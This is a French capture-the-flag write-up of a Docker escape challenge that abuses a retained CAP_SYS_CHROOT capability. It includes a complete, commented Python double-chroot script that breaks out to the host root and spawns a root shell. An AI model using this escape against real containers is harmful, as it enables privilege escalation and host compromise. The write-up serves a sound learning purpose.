Satellisation
Catégorie: Divers - Difficulté: Difficile
Description:

Solution:
Pour ce challenge, le but est de s'échapper du container Docker dans lequel nous sommes afin d'accéder à la machine hôte et de récupérer le fichier /root/flag.txt.
Pour ce faire, nous passons par plusieurs étapes cruciales :
Lors de la connexion en SSH, nous arrivons sur le Docker avec un compte root
Nous voyons ce qu'il se passe au démarrage :

Nous avons également le script container.c à analyser, avec une info cruciale à prendre en compte :

Les hauts privilèges du container Docker sont désactivés, sauf celle qui nous intéresse :
CAP_SYS_CHROOT
. Cette fonction permets d'utiliser l'appel système chroot() afin d'échapper du Docker :Python est utilisable sur le Docker
Avec tout cela, nous allons pouvoir faire quelques tests et surtout un script python afin d'automatiser la sortie du Docker.
Passons directement aux choses sérieuses, avec un petit peu de reconnaissance et le fameux script Python :

Nous voyons ici que nous n'avons pas de fichier flag.txt, ce qui est un peu ennuyeux quand on doit retrouver le contenu de ce fameux fichier ^^.
Maintenant pour le script Python, voici ce qui fonctionne parfaitement :
#!/usr/bin/env python3
"""
Évasion du conteneur : on exploite le fait que la capacité CAP_SYS_CHROOT
n’a pas été retirée. L’idée est de :
1. faire un 1° chroot vers un dossier factice à l’intérieur* du conteneur
2. remonter le plus haut possible dans l’arborescence
3. refaire un chroot(".") pour redéfinir / qui correspond maintenant
au « vrai » root de la machine hôte
4. lancer un shell root.
"""
import os # appels système (chroot, chdir, …)
import subprocess # pour exécuter /bin/bash
import pathlib # création propre du dossier de fuite
import itertools # générer une boucle « infinie » sans compteur explicite
# ─────────────────────────────────────────────────────────────────────────────
# 1) Préparation : on crée un dossier qui servira de « leurre »
# ─────────────────────────────────────────────────────────────────────────────
ESC = "/tmp/eroot"
pathlib.Path(ESC).mkdir(exist_ok=True)
# ─────────────────────────────────────────────────────────────────────────────
# 2) Premier chroot
# ─────────────────────────────────────────────────────────────────────────────
# Après cet appel, le noyau considère ESC comme la nouvelle racine.
# ATTENTION : notre répertoire courant « / » est en dehors de ce nouvel
# espace. C’est précisément ce qu’on veut exploiter.
os.chroot(ESC)
# ─────────────────────────────────────────────────────────────────────────────
# 3) On remonte l’arborescence jusqu’à atteindre la VRAIE racine
# ─────────────────────────────────────────────────────────────────────────────
for _ in itertools.repeat(None, 500):
try:
os.chdir("..")
except FileNotFoundError:
break
# À l’issue de la boucle, le cwd est la vraie racine (celle du host)
# ─────────────────────────────────────────────────────────────────────────────
# 4) Deuxième chroot – on re-définit « / » sur le host
# ─────────────────────────────────────────────────────────────────────────────
# Le point (.) correspond au cwd => devient la nouvelle racine pour le
# processus (= root du système hôte). Nous sommes donc « sortis » du conteneur.
os.chroot(".")
# ─────────────────────────────────────────────────────────────────────────────
# 5) On profite de nos privilèges root pour lancer un shell
# ─────────────────────────────────────────────────────────────────────────────
subprocess.call("/bin/bash")
Voici ce qu'il se passe quand nous lançons le script :

Nous avons enfin notre précieux fichier flag.txt. Alors allons le lire :

Il ne faut parfois pas être trop pressé, car sans droits, nous ne pouvons pas lire les fichiers ^^
Last updated
Was this helpful?